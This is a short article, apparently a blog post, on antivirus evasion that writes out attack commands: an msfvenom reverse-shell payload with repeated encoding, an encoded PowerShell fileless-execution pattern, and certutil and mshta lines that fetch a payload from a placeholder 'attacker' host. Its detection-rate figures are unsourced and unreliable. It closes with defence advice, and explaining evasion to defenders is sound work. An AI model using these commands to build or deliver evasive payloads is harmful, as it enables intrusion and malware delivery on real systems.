Bypassing Antivirus — How Hackers Evade Detection

How Hackers Bypass Antivirus

Modern attackers bypass antivirus 95% of the time. Understanding these techniques is essential for building better defenses.

Why Standard Payloads Get Detected

AV engines use 3 detection methods:

• Signature-based: Known malware hashes in database
• Heuristic: Behavior patterns analysis
• Sandboxing: Execute suspicious files in isolated environment

Evasion Technique 1: Encoding

# Encode payload multiple times
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=443 -e x86/shikata_ga_nai -i 10 -f exe > payload.exe

Detection rate: Still caught by ~60% of AVs.

Evasion Technique 2: Custom Encryption

# Encrypt payload with custom key
# Write custom loader that decrypts at runtime
# AV can't see the payload until it runs

Detection rate: Catches only ~10-20% of AVs.

Evasion Technique 3: Fileless Malware

# Execute directly in memory — never touches disk
powershell -enc [Base64EncodedCommand]
# Or use WMI, .NET reflection, Process Hollowing

Detection rate: Evades ~80% of endpoint protection.

Evasion Technique 4: Living Off the Land (LOLBins)

# Use trusted Windows binaries
certutil -urlcache -split -f http://attacker/payload payload
mshta http://attacker/payload.hta
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication"

Defense Recommendations

• Use EDR not just AV (CrowdStrike, SentinelOne)
• Enable AMSI (Antimalware Scan Interface)
• Application whitelisting
• Monitor PowerShell logging

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